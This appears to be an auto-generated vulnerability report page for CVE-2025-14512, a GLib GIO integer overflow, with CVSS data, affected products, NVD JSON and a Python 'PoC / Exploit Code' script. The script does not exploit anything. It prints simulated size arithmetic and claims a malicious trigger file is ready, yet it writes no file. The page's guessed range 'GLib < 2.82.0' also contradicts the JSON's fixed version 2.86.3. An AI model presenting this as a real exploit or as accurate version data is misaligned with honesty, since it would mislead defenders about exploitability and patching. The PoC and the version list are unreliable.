Security Vulnerability Report
中文
CVE-2025-14512 CVSS 6.5 MEDIUM

CVE-2025-14512

Published: 2025-12-11 07:16:00
Last Modified: 2026-05-20 11:16:26

Description

A flaw was found in glib. This vulnerability allows a heap buffer overflow and denial-of-service (DoS) via an integer overflow in GLib's GIO (GLib Input/Output) escape_byte_string() function when processing malicious file or remote filesystem attribute values.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:gnome:glib:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:redhat:openshift:4.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:redhat:enterprise_linux:7.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:redhat:enterprise_linux:8.0:*:*:*:-:*:*:* - VULNERABLE
cpe:2.3:o:redhat:enterprise_linux:9.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:redhat:enterprise_linux:10.0:*:*:*:*:*:*:* - VULNERABLE
GLib < 2.82.0 (推测)
Red Hat Enterprise Linux 7.x
Red Hat Enterprise Linux 8.x
Red Hat Enterprise Linux 9.x
Fedora (受影响版本)
Debian (受影响版本)
Ubuntu (受影响版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-14512 PoC - GLib GIO escape_byte_string() Integer Overflow This PoC demonstrates the vulnerability in GLib's GIO escape_byte_string() function. Note: This is for educational purposes only. """ import struct import sys def generate_malicious_input(): """ Generate malicious input that could trigger integer overflow in escape_byte_string() """ # Craft input that could cause integer overflow # when calculating buffer size in escape_byte_string() # The function may multiply length by factor for escaping # Large input that could cause overflow when processed malicious_length = 0x7FFFFFFF # Near max int32 value # Craft bytes that will trigger escaping logic # Characters that typically get escaped: \x00, ", ', \\, etc. pattern = b'\\x00' * (malicious_length // 2) return pattern def simulate_overflow(): """ Simulate the integer overflow scenario """ print("[*] CVE-2025-14512 - GLib GIO Integer Overflow PoC") print("[*] Target: GLib escape_byte_string() function") print("=" * 60) # Simulate buffer size calculation input_length = 0x7FFFFFFF escape_multiplier = 4 # Each byte might expand to 4 bytes # This demonstrates the overflow in size calculation calculated_size = input_length * escape_multiplier actual_alloc_size = calculated_size & 0xFFFFFFFF # Truncated to 32-bit print(f"[*] Input length: {hex(input_length)}") print(f"[*] Escape multiplier: {escape_multiplier}") print(f"[*] Calculated size (overflowed): {hex(calculated_size)}") print(f"[*] Actual allocated size: {hex(actual_alloc_size)}") print(f"[*] Size difference: {calculated_size - actual_alloc_size} bytes") print("") print("[!] Integer overflow detected!") print("[!] Allocated buffer is too small for actual data") print("[!] This could lead to heap buffer overflow") def create_trigger_file(): """ Generate a file with malicious extended attributes that could trigger the vulnerability """ print("\n[*] Generating malicious file with trigger attributes...") # Create file with potentially malicious xattr malicious_attr_value = b'A' * (0x40000000) # Large value for overflow print(f"[*] Malicious attribute size: {len(malicious_attr_value)} bytes") print("[*] File ready for triggering vulnerability") print("[*] When GLib's GIO processes this file's attributes,") print("[*] the escape_byte_string() function may overflow") if __name__ == "__main__": print("CVE-2025-14512 PoC - Educational Use Only\n") simulate_overflow() create_trigger_file()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14512", "sourceIdentifier": "[email protected]", "published": "2025-12-11T07:16:00.463", "lastModified": "2026-05-20T11:16:25.533", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in glib. This vulnerability allows a heap buffer overflow and denial-of-service (DoS) via an integer overflow in GLib's GIO (GLib Input/Output) escape_byte_string() function when processing malicious file or remote filesystem attribute values."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-190"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gnome:glib:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.86.3", "matchCriteriaId": "890566A0-619C-42E2-BD1D-9EFAC63E68F4"}]}]}, {"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:redhat:openshift:4.0:*:*:*:*:*:*:*", "matchCriteriaId": "5F7E2F04-474D-4196-9CE8-242642990A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:7.0:*:*:*:*:*:*:*", "matchCriteriaId": "142AD0DD-4CF3-4D74-9442-459CE3347E3A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:8.0:*:*:*:-:*:*:*", "matchCriteriaId": "053C1B35-3869-41C2-9551-044182DE0A64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:9.0:*:*:*:*:*:*:*", "matchCriteriaId": "7F6FB57C-2BC7-487C-96DD-132683AEB35D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:10.0:*:*:*:*:*:*:*", "matchCriteriaId": "D65C2163-CFC2-4ABB-8F4E-CB09CEBD006C"}]}]}], "references": [{"url": "https://access.redhat.com/errata/RHSA-2026:15953", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:15969", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:15971", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:19148", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:19361", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:19452", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:19457", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:19459", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:19460", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:19523", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:19524", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:19565", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:19567", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:7461", "source": "[email protected]"}, {"url": "https://access.redhat.com/security/cve/CVE-2025-14512", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2421339", "source": "[email protected]", "tags": ["Issue Tracking", "Third Party Advisory"]}, {"url": "https://gitlab.gnome.org/GNOME/glib/-/issues/3845", "source": "[email protected]"}]}}